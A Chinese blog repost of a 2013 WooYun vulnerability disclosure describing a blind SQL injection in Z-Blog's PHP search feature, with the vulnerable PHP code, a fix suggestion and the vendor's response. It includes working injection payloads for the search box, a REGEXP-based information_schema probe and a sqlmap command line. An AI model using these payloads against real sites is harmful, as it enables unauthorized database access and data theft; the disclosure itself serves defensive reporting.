当前位置: 首页 >> 转载技术·程序猿 >> Z-Blog的php版前台正则SQL盲注漏洞 >> 正文

Z-Blog的php版前台正则SQL盲注漏洞

6年前 (2015-03-20)     作者:iMoke     分类:转载技术·程序猿     阅读次数:2195     评论(0)    

缺陷编号: WooYun-2013-37956

漏洞标题: Z-Blog的php版前台正则SQL盲注漏洞

相关厂商: Z-Blog

漏洞作者: 只发通用型


漏洞概要

缺陷编号: WooYun-2013-37956

漏洞标题: Z-Blog的php版前台正则SQL盲注漏洞

相关厂商: Z-Blog

漏洞作者: 只发通用型

提交时间: 2013-09-24 12:02

公开时间: 2013-12-23 12:03

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org

Tags标签: 无

 

漏洞详情

披露状态:

2013-09-24: 细节已通知厂商并且等待厂商处理中

2013-09-24: 厂商已经确认,细节仅向厂商公开

2013-09-27: 细节向第三方安全合作伙伴开放

2013-10-04: 细节向核心白帽子及相关领域专家公开

2013-10-14: 细节向普通白帽子公开

2013-11-03: 细节向实习白帽子公开

2013-12-23: 细节向公众公开

简要描述:

第二发...另外有点疑惑想问下你们的开发

详细说明:

问题出在/zb_system/function/c_system_common.php

function GetVars($name,$type='REQUEST'){
    if ($type=='ENV') {$array=&$_ENV;}
    if ($type=='GET') {$array=&$_GET;}
    if ($type=='POST') {$array=&$_POST;}
    if ($type=='COOKIE') {$array=&$_COOKIE;}
    if ($type=='REQUEST') {$array=&$_REQUEST;}
    if ($type=='SERVER') {$array=&$_SERVER;}
    if ($type=='SESSION') {$array=&$_SESSION;}
    if ($type=='FILES') {$array=&$_FILES;}

    if(isset($array[$name])){
        var_dump($array[$name]);
        return $array[$name];
    }else{
        return null;
    }
}

GET过来的数据木有经过过滤就进入dbsql.php里面查询

在前台的搜索框里输入注入语句,h为可搜索到的字符

h%') and 1)#

and 1可以替换成SQL注入,这里使用正则盲注

h%')and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="zblog" AND table_name REGEXP '^[a-z]' LIMIT 0,1))#


一个个字符把数据读出来..

手注太蛋疼 使用sqlmap

python sqlmap.py -u 网站地址/search.php?q=能成功搜索到的字符 -p 能成功搜索到的字符 --prefix "%')" --suffix ")#"

我想弱弱问一句 为啥要把\'转换回来.求注入的节奏?

zblog/zb_system/function/c_system_base.php

function _stripslashes(&$val) {
    if(!is_array($val)) return stripslashes($val);
    foreach($val as $k => &$v) $val[$k] = _stripslashes($v);
    return $val;
}
if(get_magic_quotes_gpc()){
    _stripslashes($_GET);
    _stripslashes($_POST);
    _stripslashes($_COOKIE);
}

漏洞证明:

修复方案:

使用mysql_real_escape_string()或addslashes()对传入参数进行过滤,或者使用str_replace()对一些关键词进行替换。

版权声明:转载请注明来源 只发通用型@乌云

漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-09-24 13:41

厂商回复:

非常感谢。把\'转换回来是因为dbsql有addslashes()处理,可能dbsql没处理好。

最新状态:

2013-09-24:找到原因了,dbsql第197行是多余的,所以引起了所有的BUG;

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值


本文转载自:http://www.wooyun.org/bugs/wooyun-2010-037956

除非注明,发表在“傲孤漠客”的文章『Z-Blog的php版前台正则SQL盲注漏洞』版权归iMoke所有。 转载请注明出处为“本文转载于『傲孤漠客』原地址https://www.imoke.org/post/20150320227.html

评论

发表评论   

昵称*

E-mail*(建议输入,以便收到博主回复的提示邮件)

网站

分享:

支付宝

微信